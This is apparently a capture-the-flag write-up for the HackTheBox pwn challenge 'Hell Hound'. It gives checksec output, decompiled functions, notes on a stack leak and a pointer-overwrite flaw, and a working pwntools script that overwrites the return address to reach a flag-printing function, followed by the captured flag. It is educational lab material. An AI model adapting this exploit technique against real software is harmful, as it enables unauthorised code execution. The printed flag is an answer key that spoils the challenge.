

Hell Hound

1) Checked Security

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(vigneswar@VigneswarPC)-[~/Pwn/Hellhound/challenge]
$ checksec hellhound
[*] '/home/vigneswar/Pwn/Hellhound/challenge/hellhound'
Arch:      amd64-64-little
RELRO:     Full RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       No PIE (0x400000)
RUNPATH:   b'././glibc/'
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2) Decompiled the binary

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1
2 undefined8 main(void)
3
4 {
5     ulong uVar1;
6     long in_FS_OFFSET;
7     void *local_50 [8];
8     long local_10;
9
10    local_10 = *(long *) (in_FS_OFFSET + 0x28);
11    setup();
12    banner();
13    local_50[0] = malloc(0x40);
14    do {
15        while( true ) {
16            while( true ) {
17                printf(&DAT_00401070);
18                uVar1 = read_num();
19                if (uVar1 != 2) break;
20                printf("\n[*] Write some code: ");
21                read(0,local_50[0],0x20);
22            }
23            if (2 < uVar1) break;
24            if (uVar1 == 1) {
25                printf("\n[+] In the back of its head you see this serial number: [%ld]\n",local_50);
26            }
27            else {
28LAB_00400de9:
29                printf("%s\n\n[-] Invalid option!\n",&DAT_0040105b);
30            }
31        }
32        if (uVar1 != 3) {
33            if (uVar1 == 0x45) {
34                free(local_50[0]);
35                printf("%s[*] The beast seems quiet.. for the moment..\n",&DAT_0040105b);
36                if (local_10 == *(long *) (in_FS_OFFSET + 0x28)) {
37                    return 0;
38                }
39                /* WARNING: Subroutine does not return */
40                __stack_chk_fail();
41            }
42            goto LAB_00400de9;
43        }
44        local_50[0] = *(void **) ((long)local_50[0] + 8);
45        printf("%s\n[-] The beast went Berserk again!\n",&DAT_0040105b);
46    } while( true );
47 }
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Decompile: berserk_mode_off - (hellhound)

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1
2 void berserk_mode_off(void)
3
4 {
5     long lVar1;
6     long in_FS_OFFSET;
7
8     lVar1 = *(long *)(in_FS_OFFSET + 0x28);
9     fflush(stdout);
10    system("cat ./flag.txt");
11    if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
12        /* WARNING: Subroutine does not return */
13        __stack_chk_fail();
14    }
15    return;
16 }
17
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3) Notes

- i) local_50[0] = malloc(0x40) creates a heap chunk
- ii) local_50[0] = *(void **)((long)local_50[0]+8) - This will change local_50 to the contents of local_50+8
- iii) We also have a read(local_50)
- iv) we also have a leak of stack address

4) Attack path

- i) Leak stack address and find address where return address is stored
- ii) change local_50 to the return address using ii)
- iii) use read() to write over return address and write win function address

5) Exploit

```
from pwn import *

# io = process('./hellhound')
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
# signal.signal(signal.SIGALRM, signal.SIG_IGN)

io = remote('94.237.49.138', 44773)
io.sendlineafter(b'>> ', b'1')
return_address = int(re.search(r'\[(\d+)\]',
io.recvuntil(b'[*]').decode()).group(1))-16
print(hex(return_address))
io.sendlineafter(b'>> ', b'2')
io.sendlineafter(b': ', b'\x55'*8+p64(return_address))
io.sendlineafter(b'>>', b'3')
io.sendlineafter(b'>> ', b'2')
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io.sendlineafter(b': ', p64(0x400977))  
io.interactive()
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6) Flag

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(vigneswar@VigneswarPC)~[~/Pwn/Hellhound/challenge]  
$ python3 exploit.py  
[+] Opening connection to 94.237.49.138 on port 44773: Done  
0x7fff69ed70d8  
[*] Switching to interactive mode  
HTB{m4y_the_d0g5_5p1r1t_b3_w1th_u}  
[*] Got EOF while reading in interactive  
$
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